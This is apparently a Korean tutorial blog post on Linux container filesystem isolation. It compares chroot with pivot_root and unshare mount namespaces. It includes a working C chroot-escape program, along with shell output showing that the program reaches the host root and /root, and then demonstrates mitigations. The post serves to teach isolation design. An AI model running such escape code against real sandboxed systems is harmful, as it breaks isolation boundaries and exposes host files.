Linux Container 격리
해당 글에 이어서 chroot에 대해 좀 더 상세히 알아보자.
chroot의 한계점
chroot를 통해 파일 시스템 격리를 수행했지만 실제 container 격리에 chroot가 사용되지는 않는데,
chroot의 격리에는 한계점이 존재하기 때문이다. 그 중에 하나인 탈옥이 가능한 취약점을 아래의 과정을 통해 알아보자.
chroot에서 탈옥하기
# 실제 전체 디렉토리 구조
root@MyServer:/# tree -L 1 /
/
├── bin -> usr/bin
├── boot
...
...
├── tmp
│ └── fake_root_dir # chroot로 사용한 디렉토리
│ ├── bin
│ ├── lib
│ ├── lib64
│ └── proc
...
├── usr
└── var
# chroot로 root 디렉토리 변경 후 bash 쉘에서 상위 디렉토리로 빠져나가기 테스트
root@MyServer:~# chroot /tmp/fake_root_dir /bin/bash
bash-5.1# pwd
/
bash-5.1# ls -arlt
total 20
drwxr-xr-x 3 0 0 4096 Aug 31 14:05 lib
drwxr-xr-x 2 0 0 4096 Aug 31 14:06 lib64
drwxr-xr-x 2 0 0 4096 Aug 31 14:23 bin
drwxr-xr-x 6 0 0 4096 Aug 31 14:24 ..
drwxr-xr-x 6 0 0 4096 Aug 31 14:24 .
dr-xr-xr-x 166 0 0 0 Aug 31 14:24 proc
bash-5.1#
bash-5.1# cd ../../..
bash-5.1#
bash-5.1# pwd
/
bash-5.1# ls -arlt
total 20
drwxr-xr-x 3 0 0 4096 Aug 31 14:05 lib
drwxr-xr-x 2 0 0 4096 Aug 31 14:06 lib64
drwxr-xr-x 2 0 0 4096 Aug 31 14:23 bin
drwxr-xr-x 6 0 0 4096 Aug 31 14:24 ..
drwxr-xr-x 6 0 0 4096 Aug 31 14:24 .
dr-xr-xr-x 166 0 0 0 Aug 31 14:24 proc
명령어를 통해서 실제 상위 디렉토리에 접근이 안되는 것처럼 보인다.
아래의 프로그램 코드를 통해 상위 디렉토리로 접근을 수행해보자.
cat <<EOF > /tmp/fake_root_dir/escape_chroot.c
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
mkdir(".out", 0755);
chroot(".out");
chdir("../../../../../");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
EOF
# gcc 컴파일에 필요한 패키지 설치
apt install gcc make -y
# 소스코드 컴파일
root@MyServer:/# gcc -o /tmp/fake_root_dir/escape_chroot /tmp/fake_root_dir/escape_chroot.c
root@MyServer:/#
root@MyServer:/# ls -rlt /tmp/fake_root_dir/
total 32
drwxr-xr-x 3 root root 4096 Aug 31 23:05 lib
drwxr-xr-x 2 root root 4096 Aug 31 23:06 lib64
drwxr-xr-x 2 root root 4096 Aug 31 23:23 bin
dr-xr-xr-x 165 root root 0 Aug 31 23:24 proc
-rw-r--r-- 1 root root 186 Sep 1 00:43 escape_chroot.c
-rwxr-xr-x 1 root root 16096 Sep 1 00:47 escape_chroot
# chroot 수행 및 escape_chroot 실행
root@MyServer:/# chroot /tmp/fake_root_dir /bin/bash
bash-5.1#
bash-5.1# pwd
/
bash-5.1#
bash-5.1# ls -rlt
total 32
drwxr-xr-x 3 0 0 4096 Aug 31 14:05 lib
drwxr-xr-x 2 0 0 4096 Aug 31 14:06 lib64
drwxr-xr-x 2 0 0 4096 Aug 31 14:23 bin
dr-xr-xr-x 166 0 0 0 Aug 31 14:24 proc
-rw-r--r-- 1 0 0 186 Aug 31 15:43 escape_chroot.c
-rwxr-xr-x 1 0 0 16096 Aug 31 15:47 escape_chroot
bash-5.1#
bash-5.1# ./escape_chroot
#
# pwd
/
# ls -arlt
total 72
lrwxrwxrwx 1 root root 8 Aug 30 11:09 sbin -> usr/sbin
lrwxrwxrwx 1 root root 9 Aug 30 11:09 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 7 Aug 30 11:09 lib -> usr/lib
lrwxrwxrwx 1 root root 7 Aug 30 11:09 bin -> usr/bin
lrwxrwxrwx 1 root root 10 Aug 30 11:09 libx32 -> usr/libx32
lrwxrwxrwx 1 root root 9 Aug 30 11:09 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Aug 30 11:09 srv
drwxr-xr-x 2 root root 4096 Aug 30 11:09 mnt
drwxr-xr-x 2 root root 4096 Aug 30 11:09 media
drwxr-xr-x 14 root root 4096 Aug 30 11:09 usr
drwxr-xr-x 13 root root 4096 Aug 30 11:11 var
drwx------ 2 root root 16384 Aug 30 11:12 lost+found
drwxr-xr-x 4 root root 4096 Aug 30 11:14 boot
drwxr-xr-x 8 root root 4096 Aug 30 11:15 snap
dr-xr-xr-x 13 root root 0 Aug 31 22:35 sys
dr-xr-xr-x 167 root root 0 Aug 31 22:35 proc
drwxr-xr-x 19 root root 4096 Aug 31 22:36 ..
drwxr-xr-x 19 root root 4096 Aug 31 22:36 .
drwxr-xr-x 3 root root 4096 Aug 31 22:36 home
drwxr-xr-x 14 root root 3240 Aug 31 22:36 dev
drwxr-xr-x 3 root root 4096 Aug 31 23:54 opt
drwxr-xr-x 96 root root 4096 Aug 31 23:54 etc
drwx------ 5 root root 4096 Aug 31 23:56 root
drwxr-xr-x 30 root root 1000 Sep 1 00:04 run
drwxrwxrwt 12 root root 4096 Sep 1 00:47 tmp
# root 디렉토리로 접근
# cd /root
#
# ls -arlt
total 36
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwxr-xr-x 19 root root 4096 Aug 31 22:36 ..
drwx------ 2 root root 4096 Aug 31 22:36 .ssh
drwx------ 4 root root 4096 Aug 31 22:36 snap
drwxr-xr-x 18 root root 4096 Aug 31 23:57 nginx-root
-rw------- 1 root root 3092 Sep 1 00:22 .bash_history
-rw------- 1 root root 1796 Sep 1 02:11 .viminfo
drwx------ 5 root root 4096 Sep 1 02:11 .
# pwd
/root
상위 디렉토리로의 탈옥과 /root 디렉토리로의 이동이 정상적으로 수행되었다.
chroot 후 명령어로는 격리된 것으로 보인 fake_root_dir를 빠져나가지 못했는데 이유가 뭘까?
- chroot는 프로세스의 루트 디렉토리를 변경하지만, 시스템 전체의 루트 파일 시스템을 변경하지 않기 때문이다.
- 그리고 escape_chroot 프로그램이 실행되는 권한(여기서는 root)을 제어하지 못했다.
만약 이런 탈옥을 막고 싶으면 아래과 같이 코드를 수정해야한다.
# 취약점이 있는 코드를 아래과 같이 수정
cat <<EOF > /tmp/fake_root_dir/escape_chroot.c
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
mkdir(".out", 0755);
chroot(".out");
setuid(1000); // chroot 후 사용자 권한을 root(id가 0)가 아닌 사용자로 변경
chdir("../../../../../");
chroot(".");
setuid(1000); // chroot 후 사용자 권한을 root(id가 0)가 아닌 사용자로 변경
return execl("/bin/sh", "-i", NULL);
}
EOF
# 소스코드 재컴파일
root@MyServer:/tmp# !gcc
gcc -o /tmp/fake_root_dir/escape_chroot /tmp/fake_root_dir/escape_chroot.c
# chroot 적용
root@MyServer:/tmp# !chroot
chroot /tmp/fake_root_dir /bin/bash
bash-5.1#
bash-5.1# pwd
/
bash-5.1#
bash-5.1# ls -arlt
total 44
drwxr-xr-x 3 0 0 4096 Aug 31 14:05 lib
drwxr-xr-x 2 0 0 4096 Aug 31 14:06 lib64
dr-xr-xr-x 166 0 0 0 Aug 31 14:24 proc
drwxr-xr-x 2 0 0 4096 Aug 31 16:01 bin
drwxr-xr-x 2 0 0 4096 Aug 31 17:19 .out
-rw-r--r-- 1 0 0 218 Aug 31 17:20 escape_chroot.c
drwxr-xr-x 7 0 0 4096 Aug 31 17:25 ..
drwxr-xr-x 7 0 0 4096 Aug 31 17:25 .
-rwxr-xr-x 1 0 0 16136 Aug 31 17:25 escape_chroot
# 탈옥 프로그램 수행
bash-5.1# ./escape_chroot
bash-5.1# pwd
/
bash-5.1#
bash-5.1# ls -arlt
total 44
drwxr-xr-x 3 0 0 4096 Aug 31 14:05 lib
drwxr-xr-x 2 0 0 4096 Aug 31 14:06 lib64
dr-xr-xr-x 166 0 0 0 Aug 31 14:24 proc
drwxr-xr-x 2 0 0 4096 Aug 31 16:01 bin
drwxr-xr-x 2 0 0 4096 Aug 31 17:19 .out
-rw-r--r-- 1 0 0 218 Aug 31 17:20 escape_chroot.c
drwxr-xr-x 7 0 0 4096 Aug 31 17:25 ..
drwxr-xr-x 7 0 0 4096 Aug 31 17:25 .
-rwxr-xr-x 1 0 0 16136 Aug 31 17:25 escape_chroot
# 탈옥에 실패
chroot의 문제점
- chroot는 이런 탈옥이 가능한 취약점이 존재한다.
- 이러한 점 때문에 container runtime에서도 CAP_SYS_CHROOT 권한을 기본적으로 차단한다.
- https://cri-o.github.io/cri-o/v1.18.0.html
- 루트 파일시스템만 격리하기 때문에 chroot 후 실행한 프로세스나 각종 자원 등의 정보에 접근이 가능해 사실상 격리라고 말하기 어렵다.
- 이전 실습에서 nginx를 chroot 후에 실행했을 때, 다른 터미널에서 조회했을 때 그대로 프로세스와 Port 정보가 조회된다.
- 이는 chroot가 단일 프로세스에만 적용되기 때문이다. 즉, chroot를 호출한 프로세스의 루트 디렉토리를 변경하지만, 부모 프로세스나 다른 프로세스에는 영향을 미치지 않는다고 볼 수 있다.
- 격리를 위해서는 root 권한 제어가 필요하나 완전한 권한 제어가 어렵다.
이러한 문제점들로 인해 container 격리의 시초라고 볼 수 있는 chroot는 현재 container에서 사용되지 않는다.
그러면 현재 컨테이너에서는 어떻게 이 문제를 해결했는지 알아보자.
pivot_root
pivot_root란 프로세스의 루트 파일 시스템을 격리하는 데 사용되는 명령이다.
얼핏 생각하면 chroot와 비슷해보일 수 있는데, chroot와 다르게 프로세스의 루트 파일 시스템 자체를 교체해서 파일 시스템을 격리할 수 있다.
이런 점을 이용해 기존에 chroot에서 발생하는 탈옥을 차단할 수 있다.
# pivot_root [new-root] [old-root]
아래 과정을 통해 pivot_root로 파일 시스템 격리를 해보자.
먼저 아무것도 수행하지 않은 상태의 두 개의 쉘을 열어서 df -h결과를 비교한다.
현재 아무런 작업을 하지 않았기 때문에 같은 결과를 표시해준다.
아래의 과정을 통해 pivot_root를 사용하기 위한 준비를 한다.
# 마운트 네임스페이스를 격리하여 쉘을 실행
root@MyServer:~# unshare --mount /bin/bash
# 새로운 루트 파일시스템이 될 디렉토리를 생성
root@MyServer:~# mkdir /tmp/new_root
# new_root를 임시 파일 시스템(tmpfs)으로 마운트
root@MyServer:~# mount -t tmpfs none /tmp/new_root
여기까지 수행하고 unshare를 수행한 쉘과 임의의 다른 신규 접속한 unshare를 수행하지 않은 쉘에서 마운트 명령을 통해 차이점이 있는지 확인해보자.
/tmp/new_root 디렉토리 마운트가 unshare를 수행한 쉘에서는 보이고 기본 쉘에서는 보이지 않는 것을 알 수 있다.
# nginx-root 실습에 사용한 파일들을 /tmp/new_root로 복사
root@MyServer:~# cp -r /root/nginx-root/* /tmp/new_root/
# 탈옥 테스트에 사용할 소스코드 생성 및 컴파일
cat <<EOF > /tmp/new_root/escape_chroot.c
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
mkdir(".out", 0755);
chroot(".out");
chdir("../../../../../");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
EOF
# 소스코드 재컴파일
gcc -o /tmp/new_root/escape_chroot /tmp/new_root/escape_chroot.c
한쪽에서만 /tmp/new_root에 대한 파일 정보를 확인할 수 있는 이유는 마운트 네임스페이스가 unshare된 상태이기 때문이다.
이제 pivot_root를 실행해보자.
# 기존 루트 파일시스템을 마운트할 디렉토리 생성
root@MyServer:/# mkdir /tmp/new_root/put_old
# pivot_root로 루트 파일시스템을 교체
root@MyServer:/# pivot_root /tmp/new_root /tmp/new_root/put_old
루트 파일시스템이 변경된 것을 확인할 수 있다.
이어서 탈옥 프로그램을 수행해 보자.
chroot와는 다르게 탈옥이 되지 않는 것을 확인할 수 있다.
왜 안되는걸까? 이는 pivot_root를 수행하기 전에 생성한 put_old 디렉토리를 보면 알 수 있다.
put_old 디렉토리에 기존 루트 파일시스템이 연결된 것을 알 수 있다. pivot_root를 통해 아래의 과정을 수행한 것이다.
pivot_root를 사용한 파일시스템 격리
위의 과정에서는 루트 파일시스템을 변경해서 탈옥을 막았지만 put_old 디렉토리가 아직 남아있었다.
exit로 unshare한 쉘을 종료 시키고 아래의 과정을 통해서 실제 파일시스템을 격리시켜보자.
# 격리를 위한 unshare 및 필요한 파일 복사, 파일시스템 mount 수행
cd /tmp/real_root
cp -r /usr /tmp/real_root/
ln -s usr/sbin sbin
ln -s usr/lib lib
ln -s usr/bin bin
ln -s usr/lib64 lib64
ln -s usr/lib32 lib32
ln -s usr/libx32 libx32
mkdir /tmp/real_root/{put_old,proc}
unshare --mount /bin/bash
mount --bind /tmp/real_root /tmp/real_root
mount -t proc proc /tmp/real_root/proc
root@MyServer:/tmp/real_root# tree -L 1 /tmp/real_root/
/tmp/real_root/
├── bin -> usr/bin
├── lib -> usr/lib
├── lib32 -> usr/lib32
├── lib64 -> usr/lib64
├── libx32 -> usr/libx32
├── proc
├── put_old
├── sbin -> usr/sbin
└── usr
# pivot_root 수행
pivot_root /tmp/real_root /tmp/real_root/put_old
# pivot_root 수행 후 루트 디렉토리 점검
root@MyServer:/# cd /
root@MyServer:/# ls -arlt
total 16
drwxr-xr-x 19 0 0 4096 Aug 31 13:36 put_old
drwxr-xr-x 14 0 0 4096 Aug 31 20:12 usr
lrwxrwxrwx 1 0 0 8 Aug 31 20:14 sbin -> usr/sbin
lrwxrwxrwx 1 0 0 9 Aug 31 20:14 lib32 -> usr/lib32
lrwxrwxrwx 1 0 0 7 Aug 31 20:15 lib -> usr/lib
lrwxrwxrwx 1 0 0 9 Aug 31 20:15 lib64 -> usr/lib64
lrwxrwxrwx 1 0 0 7 Aug 31 20:15 bin -> usr/bin
lrwxrwxrwx 1 0 0 10 Aug 31 20:15 libx32 -> usr/libx32
drwxr-xr-x 5 0 0 4096 Aug 31 20:18 ..
drwxr-xr-x 5 0 0 4096 Aug 31 20:18 .
dr-xr-xr-x 173 0 0 0 Aug 31 20:18 proc
# mount 정보 확인
root@MyServer:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/root 29G 4.5G 25G 16% /put_old
tmpfs 951M 0 951M 0% /put_old/dev/shm
efivarfs 128K 3.6K 120K 3% /put_old/sys/firmware/efi/efivars
tmpfs 381M 884K 380M 1% /put_old/run
tmpfs 5.0M 0 5.0M 0% /put_old/run/lock
tmpfs 191M 4.0K 191M 1% /put_old/run/user/1000
/dev/nvme0n1p15 105M 6.1M 99M 6% /put_old/boot/efi
overlay 29G 4.5G 25G 16% /put_old/var/lib/docker/overlay2/17d289fc0021a3fbe492fb665d2dc0e4c22fe32a863f3b095583889587f15e73/merged
# 교체된 기존 루트 파일시스템 umount 수행
root@MyServer:/# umount -l /put_old/
root@MyServer:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/root 29G 4.5G 25G 16% /
이런식으로 파일시스템 격리를 완전히 수행할 수 있다.
위의 과정을 그림으로 도식화 하면 아래와 같다.
참고자료
- How to break out of a chroot() jail : http://www.unixwiz.net/techtips/mirror/chroot-break.html
- https://news.ycombinator.com/item?id=23167383
- https://blog.framinal.life/entry/2020/04/09/183208